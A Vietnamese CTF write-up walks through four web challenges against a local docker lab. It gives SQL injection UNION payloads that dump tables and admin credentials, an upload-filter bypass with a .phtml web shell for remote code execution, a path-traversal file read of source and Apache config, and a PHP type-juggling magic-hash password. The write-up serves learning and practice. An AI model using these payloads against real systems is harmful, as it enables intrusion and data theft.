Giới thiệu
Tuần vừa rồi mình có tham gia 1 giải ctf đó là 24@ctf. Mình thấy nó khá là hay phù hợp với những bạn đã có 1 chút hiểu biết về các lỗ hổng, nên mình đã viết write-ups. Đây là docker, các bạn có thể build lên để thực hành. Mình khuyên các bạn nên làm thử trước khi đọc write-up.
Bookwarm
Đây là giao diện khi ta vào link
Chỉ có 1 chức năng duy nhất là tìm kiếm sách
Mĩnh sẽ nghĩ ngay đến việc thử với payload SQL injection
Dễ dàng thành công, việc bây giờ cần làm là dùng SQLmap để dump database ra thôi
NHƯNG hệ thống đã chặn các requests liên tục của SQLmap, nên đành phải khai thác bằng tay vậy
Đầu tiên sử dụng payload sau để biết tên bảng
1' UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES --
Ta biết được có 2 bảng là Admin và Books, nhưng mình nghĩ cái chúng ta cần là Admin
Thêm 1 điều nữa là trang upload.php đang bị comment lại vì đang bảo trì, chắc tí nữa sẽ cần dùng đến
Sau khi biết được bảng Admin rồi cần biết xem bảng này có mấy cột và là những cột nào
1' UNION ALL SELECT NULL,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='Admin'--
Kết quả gồm 3 cột id, password, username. Giờ đã biết tên các cột rồi, thử query ra từ bảng Admin xem có gì hay không
1'+UNION+ALL+SELECT+username,password+FROM+Admin+--+
Nhận được flag luôn và thêm 1 username + password nữa
Bookworm 2
Đến bây giờ thì chúng ta quay trở lại đoạn Upload.php vừa rồi, thử truy cập vào upload.php
Hiện ra 1 form đăng nhập, mình thử cái username+password vừa dump được cùng flag vào form này
Đăng nhập thành công, đây là 1 trang cho phép upload sách, khả năng rất cao là dính lỗi file upload mình sẽ thử up 1 file ảnh lên xong sau đó sẽ đổi đuôi thành php
Nhưng bị lỗi trả về, hệ thống không chấp nhận file có đuôi là .php
Ở đây cách bypass đơn giản là dùng đuổi file khác với .php những server vẫn sẽ thực hiện php khi gặp file đó. Một vài ví dụ ở đây như: phtml, phar, php2, php3, php4, …
Mình sẽ thử với phtml, lần này mình sẽ cho thẳng Shell luôn cho nhanh 😁😁
Kết quả trả về thành công, như vậy chỉ cần đi vào theo đương dẫn kia là mình có thể RCE được server
Lúc này chỉ cần tìm file flag trên hệ thống là được, ở đây mình dùng find
find / -name *.txt 2>/dev/null
Paul_Dirty_Secret
Đây là giao diện khi ta vào link
Trên giao diện có 1 vài category như services, about, team, contact. Tất cả chức năng này đều không sử dụng được.
Sau đó mình tiến hành enum thêm ở các file source nhưng cũng không thu được gì
Tiến hành sử dụng dirsearch để
python3 dirsearch.py -u "http://localhost:897/" -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
──(hieupn4㉿kali)-[~]
└─$ dirsearch -u http://localhost:897 -t 100 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 100 | Wordlist size: 11460 Output File: /home/hieupn4/reports/http_localhost_897/_24-04-10_12-27-58.txt Target: http://localhost:897/ [12:27:58] Starting: ....
[12:28:02] 302 - 0B - /admin.php -> http://fun-in-jail.ctf:897/login.php
[12:28:06] 301 - 312B - /assets -> http://localhost:897/assets/
[12:28:06] 200 - 474B - /assets/
[12:28:08] 301 - 309B - /css -> http://localhost:897/css/
[12:28:11] 200 - 834B - /head.php
[12:28:13] 200 - 449B - /js/
[12:28:14] 200 - 1KB - /login.php
[12:28:15] 301 - 311B - /notes -> http://localhost:897/notes/
output dirsearch có path là /notes, tại đây có 3 file fichier.txt. Nội dung của 3 file lần lượt như sau:
Nội dung của 3 file này không có gì quan trọng, nên tạm thời để đó và chuyển tiếp hướng khác
Ngoài ra tại output dirsearch bên trên, có thể thấy sau khi vào /admin thì request sẽ chuyển hướng sang http://fun-in-jail.ctf:897/login.php —> ta thêm fun-in-jail.ctf vào /etc/hosts
Tiến hành vào http://fun-in-jail.ctf:897/login.php, tại đây chỉ có 1 form login
Thấy form login thì các bạn nghĩ ngay đến phải khác thác lỗ hổng gì ?? Chắc chắn phải có SQLi rồi đúng không 😄
Tiến hành bắt request và inject thử 1 kí tự ‘ —> kết quả respone thông báo ERROR
Sử dụng ORDER BY để check số columns, kết quả dừng ở ORDER BY 1 thì respone trả về bình thường.
Với ORDER BY 2 thì respone lỗi
Suy ra ứng dụng chỉ có một columns
Sau khi đã biết số column, sử dụng UNION SELECT NULL —> kết quả Respone trả về cho thấy mình đã bypass được Authen thành công
Sau khi authen thành công, ứng dụng chuyển hướng đến /admin. Tại đây chỉ có 1 form + button như ảnh dưới
Tiến hành bắt request khi click vào button, kết quả Respone cho thấy nội dung của file fichier3.txt
Nhìn thấy param filename gọi thẳng đến file fichier3.txt mình nghĩ phía Server đang xử lý đoạn đọc file này như sau (do lúc nãy chúng ta dir fuzz ra mấy file này nằm trong path /notes)
... print(@file_get_contents("notes/".$_POST["filename"]));
...
Đến đây chỉ cần inject thêm ../index.php để đọc file index.php, FLAG sẽ thu được trong respone
Ta thu được Flag polycyber{SQLi_To_LFI_but_where_is_the_hidden_sites?}
Paul_Dirty_Secret_2
Flag ở bài 1 cũng chính là hint để chúng ta làm tiếp. Hidden_site??
Với lỗi có thể đọc file bất kỳ ở bài trước, ta có thể đọc bất kỳ file nào trên hệ thống, từ đây sẽ đọc được file config của hệ thống, và đây là file config quan trọng ta tìm được /etc/apache2/sites-enabled/000-default.conf
Đây là file conf mà ta tìm được:
... <VirtualHost *:80> #The hidden site is here !!!!! ServerName secret-barbapapa-addicts.ctf DocumentRoot /var/www/html/secret-site <Directory /var/www/html/secret-site> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory>
</VirtualHost> ... <VirtualHost *:897> ServerName secret-barbapapa-addicts.ctf DocumentRoot /var/www/html/secret-site <Directory /var/www/html/secret-site> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory>
</VirtualHost>
Vậy là tìm được ngoài fun-in-jail.ctf
còn 1 host nữa là secret-barbapapa-addicts.ctf
và tác giả còn comment vào đó hidden site
Cũng thực hiện add secret-barbapapa-addicts.ctf
vào /etc/hosts
Ở trên file config trên, ta còn biết được document root của host này là /var/www/html/secret-site
. Tiếp tục dùng lỗi trên để đọc source code của host này
Ta nhận được source code của trang web
<?php if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['password'])) { include("password_request.php");
} else { $conn = new mysqli("mysql","challuser","ThisIsADumbPassword","barbadb"); if ($conn->connect_error) { die("Connection failed: " . $conn-connect_error); } $password = sha1($_POST['password']); $sql = "SELECT secret FROM Secret LIMIT 1;"; $result = $conn->query($sql); $row = $result->fetch_assoc(); if ($row["secret"] == $password) { $conn = new mysqli("mysql","flaguser","ThisIsADumbPasswordAGAIN","barbadb"); if ($conn->connect_error) { die("Connection failed: " . $conn-connect_error); } $result = $conn->query("SELECT secret_flag FROM Flag LIMIT 1;"); $row = $result->fetch_assoc(); echo "<h1>Well done, the flag is: " . $row['secret_flag'] . "</h1>"; } else { include("password_request.php"); } }
?>
Đoạn code trên thực hiện nhận param password thông qua POST, sau đó nó sẽ được băm với SHA1, sau đó sẽ so sánh với 1 giá trị ở cột secret lấy ở trên table Secret, nếu 2 giá trị này bằng nhau ta sẽ nhận được flag
Sau khi tìm hiểu thì ở đoạn code:
$password = sha1($_POST['password']); ...
...
... if ($row["secret"] == $password) { $conn = new mysqli("mysql","flaguser","ThisIsADumbPasswordAGAIN","barbadb"); if ($conn->connect_error) { die("Connection failed: " . $conn-connect_error); } $result = $conn->query("SELECT secret_flag FROM Flag LIMIT 1;"); $row = $result->fetch_assoc(); echo "<h1>Well done, the flag is: " . $row['secret_flag'] . "</h1>"; }
Dev đã sử dụng dấu “==” để so sánh giá trị secret với cái password được băm bởi SHA1, mà “==” là loose comparision
Đây là lỗi Type juggling, mình đoán là secret
sẽ là 0exxxxxxxxxxxxxxxxxxxxxxxxx với x là số ngẫu nhiên, thường các bài ctf sẽ có phần đoán như này
Theo toán học, ví dụ 0e1231412 = 0 * e ^ 1231412 = 0, cho nên qua phép “==” của php nó sẽ hiểu theo điều đó và chuyển đổi giá trị của secret
thành 0. Như vậy ta sẽ tìm 1 giá trị vào biến password để cho khi mà qua băm SHA1 nó cũng sẽ có format là “0exxxxxxxxxxx” để khiến cho 2 giá trị = nhau
Mình có tìm payload trên payloadallthethings, payload để điền vào sẽ là password=10932435112
, khi qua hàm SHA1 nó sẽ là 0e07766915004133176347055865026311692244
cũng sẽ được php chuyển về 0 khi so sánh
Bây giờ chỉ cần điền password là 10932435112
ta sẽ nhận được flag